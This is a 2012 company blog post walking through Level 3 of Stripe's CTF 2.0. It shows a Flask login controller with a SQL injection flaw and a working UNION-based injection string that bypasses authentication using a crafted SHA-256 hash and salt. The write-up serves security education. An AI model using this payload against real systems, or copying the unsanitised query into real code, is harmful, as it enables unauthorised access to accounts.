Sep 18, 2012

Stripe’s Capture the Flag 2.0 – Level 3

Josh Hamit

Josh Hamit

Default image background

This article is part 4 of a 10 series blog detailing the approaches and solutions to hacking through Stripe’s 2012 CTF 2.0. To continue from the parent article, or see more hacks, please click here.

This blog entry details the approach used by Josh Hamit in attacking the Stripe CTF 2.0 Challenge Level 3.


Level 3 represented an “unbreakable” password safe. It was a database of simple key-value pairs that could be retrieved with a username and password. Rumors quickly spread that one of the accounts held the prized password to Level 4.

I quickly glanced over the source code and found it was written in Python, language I hadn’t worked in before. Now, new languages shouldn’t discourage technologists, since problem solving approaches are just as valid in one language as another. Still, I thought I’d first try to leverage my knowledge of the web by interacting with the web application in order to see what I could discover.

The main page of the Level 4 site was pretty bare with some text, a contact us link, and a login form. I clicked the contact us link hoping for an email form. I was pleasantly surprised to find the 2008 practice of Rickrolling alive and kicking.

So, I dove headfirst into the python code. Since most of the code revolved around the login form, I thought I’d start there. After all, “When words are many, transgression is not lacking” (ESV, Proverbs 10:19).

Here is the login form:

<form action="./login" method="POST">   <label for="username">Username:</label> <input id="username" type="text" name="username" />   <label for="password">Password:</label> <input id="password" type="password" name="password" />   <input type="submit" value="Recover your secrets now!" />   </form>

And the full login controller:

@app.route('/login', methods=['POST'])def login(): username = flask.request.form.get('username') password = flask.request.form.get('password')   if not username: return "Must provide username\n"   if not password: return "Must provide password\n"   conn = sqlite3.connect(os.path.join(data_dir, 'users.db')) cursor = conn.cursor()   query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username) cursor.execute(query)   res = cursor.fetchone() if not res: return "There's no such user {0}!\n".format(username) user_id, password_hash, salt = res   calculated_hash = hashlib.sha256(password + salt) if calculated_hash.hexdigest() != password_hash: return "That's not the password for {0}!\n".format(username)   flask.session['user_id'] = user_id return flask.redirect(absolute_url('/'))

Sure enough, by studying the above snippet of code, we soon discovered a SQL injection vulnerability summed up in the following two statements:

query = """SELECT id, password_hash, salt FROM users WHERE username = '{0}' LIMIT 1""".format(username) cursor.execute(query)

Here, the application is injecting the username field into the database query without properly sanitizing it. Though the attack vector is a SQL injection attack instead of a local file inclusion, the root cause of the vulnerability is the same. There is no input validation!

We don’t believe the stranger on the bus who claims to be the King of England, so why on earth do we insist on writing web applications that implicitly trust users?

In any case, we exploited this by entering letter “a” as the password and the SQL statement below as a username:

' UNION select '1' as id, '961b6dd3ede3cb8ecbaacbd68de040cd78eb2ed5889130cceb4c49268ea4d506' as password_hash, 'a' as salt order by salt asc; --

Here, the single quote terminated the previous query, while the “UNION” allowed us to append our own arbitrary query.

res = cursor.fetchone() ... user_id, password_hash, salt = res calculated_hash = hashlib.sha256(password + salt)if calculated_hash.hexdigest() != password_hash: return "That's not the password for {0}!\n".format(username)   flask.session['user_id'] = user_id

To explain why our query worked, Line 1 in the snippet above grabbed the first result from the username query, which turned out to be what we passed in after the “UNION”. Line 3 then assigned what was retrieved by our query to their respective variables. Now that the preparation was complete, line 4 calculated a hash based on the SHA-256 algorithm using the password we passed in via the password field and a salt that was populated by our query.

Here’s where the magic happened. Line 6 compared the hash calculated by the application, with the password hash we passed in as a part of our username query. Since we were able to understand how this comparison would take place, we were able to craft a SHA-256 hash of our own, based on a password of “a” and a salt of “a”. The application then authenticated us, and displayed the password.

Now there’s a SQL injection attack worth it’s salt! Hopefully Level 4 will require a different approach…


These solutions are presented as a unique approach to a recent CTF hacking contest as an outreach of the Credera Security Team. All ‘hacking’ was performed in an ethical manner in accordance with Credera’s Core Values. For further information on Credera’s offerings in ethical hacking, security, compliance, and OWASP preparedness please contact us at

Conversation Icon

Contact Us

Ready to achieve your vision? We're here to help.

We'd love to start a conversation. Fill out the form and we'll connect you with the right person.

Searching for a new career?

View job openings